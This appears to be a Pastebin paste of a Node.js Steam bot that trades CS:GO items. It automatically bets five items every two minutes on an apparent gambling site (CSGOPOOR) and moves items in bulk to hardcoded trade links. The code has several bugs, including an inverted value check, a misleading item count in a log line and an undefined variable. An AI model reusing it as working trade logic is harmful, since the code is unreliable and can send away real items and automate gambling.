Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const SteamUser = require('steam-user')
- , SteamTotp = require('steam-totp')
- , SteamCommunity = require('steamcommunity')
- , TradeOfferManager = require('steam-tradeoffer-manager');
- const fs = require('fs')
- , request = require('request');
- const config = require('./config.js');
- const client = new SteamUser()
- , community = new SteamCommunity()
- , manager = new TradeOfferManager({
- steam: client,
- community: community,
- language: 'en'
- });
- const logOnOptions = {
- accountName: config.bot['username'],
- password: config.bot['password'],
- twoFactorCode: SteamTotp.generateAuthCode(config.bot['sharedsecret'])
- };
- ///
- if (fs.existsSync('polldata.json')) {
- manager.pollData = JSON.parse(fs.readFileSync('polldata.json'));
- }
- ///
- client.logOn(logOnOptions);
- client.on('loggedOn', () => {
- log('Logged into Steam');
- if(config.bot['name'] != "") {
- client.setPersona(SteamUser.Steam.EPersonaState.Online, config.bot['name']);
- } else {
- client.setPersona(SteamUser.Steam.EPersonaState.Online);
- }
- if(config['addAdmin']) {
- client.addFriend(config['adminID']);
- }
- if(config['updatePriceOnLaunch']) {
- getPrices();
- }
- });
- client.on('webSession', (sessionid, cookies) => {
- manager.setCookies(cookies, function(err) {
- if (err) {
- log(err);
- process.exit(1);
- return;
- }
- log("Got API key: " + manager.apiKey);
- manager.loadInventory(730, 2, true, function(err, inventory) {
- if (err) {
- console.log(err);
- return;
- }
- if (inventory.length == 0) {
- // Inventory empty
- console.log("CS:GO inventory is empty");
- return;
- }
- console.log("Found " + inventory.length + " CS:GO items");
- //CSGOPOOR
- setInterval(function () {
- manager.loadInventory(730, 2, true, function(err, inventory) {
- if (err) {
- console.log(err);
- return;
- }else {
- if(inventory.length > 4){
- var offer = manager.createOffer("https://steamcommunity.com/tradeoffer/new/?partner=347388745&token=D1yTWJH2");
- for (var x = 1; x <= 5; x++){
- var bet = inventory[x];
- offer.addMyItem(bet);
- }
- console.log("Betting 5 items in csgopoor");
- offer.send(function(err, status) {
- if (err) {
- console.log(err);
- return;
- }
- if (status == 'pending') {
- // We need to confirm it
- //GET PRICE
- if((getValue(offer.itemsToGive)) < 0.03) {
- console.log(`Offer #${offer.id} sent to CSGOPOOR, but waiting confirmation`);
- //OLD: community.acceptConfirmationForObject("identitySecret", offer.id, function(err) {
- community.startConfirmationChecker(config.bot['identitysecret'], function(err){
- if (err) {
- console.log(err);
- } else {
- console.log("Offer confirmed");
- }
- });
- } else {
- console.log(`Offer #${offer.id} sent successfully`);
- }
- }else{
- console.log("Too high offer");
- }
- if (status == 'accepted')
- {
- return 1;
- }
- });
- }else{
- console.log("Missing items to bet");
- }
- }
- if (inventory.length == 0) {
- // Inventory empty
- console.log("CS:GO inventory is empty");
- return;
- }
- console.log("Found " + inventory.length + " CS:GO items");
- });
- }, 120000);
- // CLEAR INVENTORY TO ADMIN
- if(inventory.length > 950){
- var offer = manager.createOffer("https://steamcommunity.com/tradeoffer/new/?partner=216711163&token=MQp4g6O4");
- for (x = 1; x <= 300; x++){
- const item = inventory[x];
- offer.addMyItem(item);}
- offer.setMessage("Here, have some items!");
- console.log("Sent 10 items to admin.");
- offer.send(function(err, status) {
- if (err) {
- console.log(err);
- return;
- }
- if (status == 'pending') {
- // We need to confirm it
- console.log(`Offer #${offer.id} sent, but requires confirmation`);
- //OLD: community.acceptConfirmationForObject("identitySecret", offer.id, function(err) {
- community.startConfirmationChecker(30000, config.bot['identitysecret'], function(err) {
- if (err) {
- console.log(err);
- } else {
- console.log("Offer confirmed");
- }
- });
- } else {
- updateStock();
- console.log(`Offer #${offer.id} sent successfully`);
- }
- });
- }
- });
- });
- community.setCookies(cookies);
- community.startConfirmationChecker(30000, config.bot['identitysecret']);
- });
- client.on('friendRelationship', (steamid, relationship) => {
- if (relationship === 2 && config['acceptFriendRequests']) {
- client.addFriend(steamid);
- client.chatMessage(steamid, config['friendWelcomeMessage']);
- }
- });
- client.on('friendOrChatMessage', (senderID, message) => {
- log('Received a message from: '+senderID+': '+message);
- if(senderID == config['adminID']) {
- if (message.indexOf("/stop") == 0) {
- log('Admin stopped the bot!');
- client.logOff();
- process.exit();
- }
- else if (message.indexOf("/update")) {
- getPrices();
- client.chatMessage(senderID, 'Updated prices');
- }
- else if (message.indexOf("ping") == 0) {
- client.chatMessage(senderID, 'pong');
- } else {
- var response = '';
- for (var i = message.length - 1; i >= 0; i--) {
- response += message[i];
- };
- client.chatMessage(senderID, response);
- }
- } else {
- var response = '';
- for (var i = message.length - 1; i >= 0; i--) {
- response += message[i];
- };
- client.chatMessage(senderID, response);
- }
- });
- ///
- manager.on('newOffer', (offer) => {
- var userID = offer.partner.getSteamID64();
- var offerID = offer.id;
- var prefix = offerID + ' || ';
- log("New offer #" + offerID + " from " + userID);
- offer.getUserDetails((err, me, them) => {
- if(err) {
- log(err);
- return;
- }
- if(them.escrowDays > 0) {
- log(prefix +'User has escrow! Declining!');
- offer.decline((err) => {
- if(err) {
- log(prefix + 'Error declining offer!');
- return;
- }
- });
- } else {
- if(userID == config['adminID'] && config['acceptAdminOffers']) {
- offer.accept((err, status) => {
- if(err) {
- log(prefix + 'Error accepting offer!');
- return;
- } else {
- community.checkConfirmations();
- log('Admin used the bot');
- }
- });
- } else {
- if(offer.itemsToGive.length == 0) {
- log(userID + ' Just Donated us skins!');
- log(prefix + 'Accepting offer!');
- offer.accept((err, status) => {
- if(err) {
- log(prefix + 'Error accepting offer!');
- return;
- } else {
- community.checkConfirmations();
- contactUser(userID, config.tradeResponse['donation']);
- }
- });
- } else {
- if((getValue(offer.itemsToGive) * config['sentPercentage']) > (getValue(offer.itemsToReceive) * config['receivePercentage'])) {
- log(prefix +'User ask for more then he/she gives! Declining!');
- offer.decline((err) => {
- if(err) {
- log(prefix + 'Error declining offer!');
- contactUser(userID, config.tradeResponse['tradeDeclined'])
- return;
- }
- });
- } else if((getValue(offer.itemsToGive) * config['sentPercentage']) < (getValue(offer.itemsToReceive) * config['receivePercentage'])) {
- log(prefix + 'Accepting offer!');
- offer.accept((err, status) => {
- if(err) {
- log(prefix + 'Error accepting offer!');
- return;
- } else {
- community.checkConfirmations();
- contactUser(userID, config.tradeResponse['tradeAccepted'])
- }
- });
- }
- }
- }
- }
- });
- });
- manager.on('pollData', function(pollData) {
- fs.writeFile('polldata.json', JSON.stringify(pollData));
- });
- ///
- function contactUser(userID, message) {
- if(config.social['inviteUserToGroup']) {
- community.inviteUserToGroup(userID, configs.social['groupID']);
- log('Invited '+ userID +' to group ('+configs.social['groupID']+')');
- }
- if(config.social['commentOnUserProfile']) {
- community.postUserComment(userID, message);
- //community.postUserComment(userID, 'Thanks!');
- log('Commented on '+ userID +' profile ('+message+')');
- }
- }
- setInterval(function() {
- getPrices();
- }, config['updateInterval'] * 1000 * 60);
- function getPrices() {
- request(config['priceURL'], (error, response, body) => {
- if (!error && response.statusCode === 200) {
- fs.writeFile('prices.json', body);
- log('Updated Price List');
- } else {
- log("Got an error: "+ error +", status code: "+ response.statusCode);
- }
- });
- }
- function getValue(items) {
- var itemPrices = require('./prices.json');
- var value = 0.00;
- if(items != 0 && items.length != 0) {
- for (var i = items.length - 1; i >= 0; i--) {
- value += itemPrices[items[i].market_hash_name];
- };
- } else {
- log('Error processing item value!');
- }
- return value;
- }
- ///
- function log(text) {
- var date = getDate();
- var time = getTime();
- var output = time + " || " + text;
- console.log(output);
- if(config['writeLog']) {
- var path = "./logs";
- try {
- fs.statSync(path);
- } catch(e) {
- fs.mkdirSync(path);
- }
- require('fs').appendFile('logs/debug'+ date +'.log', output + '\r\n');
- }
- }
- function getDate() {
- var date = new Date();
- var year = date.getFullYear();
- var month = date.getMonth() + 1;
- var day = date.getDate();
- month = (month < 10 ? "0" : "") + month;
- day = (day < 10 ? "0" : "") + day;
- return '['+ day + "-" + month + "-" + year + ']';
- }
- function getTime() {
- var now = new Date();
- var hour = now.getHours();
- var minute = now.getMinutes();
- var second = now.getSeconds();
- if(hour.toString().length == 1) {
- var hour = '0'+hour;
- }
- if(minute.toString().length == 1) {
- var minute = '0'+minute;
- }
- if(second.toString().length == 1) {
- var second = '0'+second;
- }
- var dateTime = hour+':'+minute+':'+second;
- return dateTime;
- }
- function updateStock() {
- manager.loadInventory(730, 2, true, function(err, inventory) {
- if (err) {
- console.log(err);
- return;
- }
- if (inventory.length == 0) {
- // Inventory empty
- console.log("CS:GO inventory is empty");
- return;
- }
- console.log("Found " + inventory.length + " CS:GO items");
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement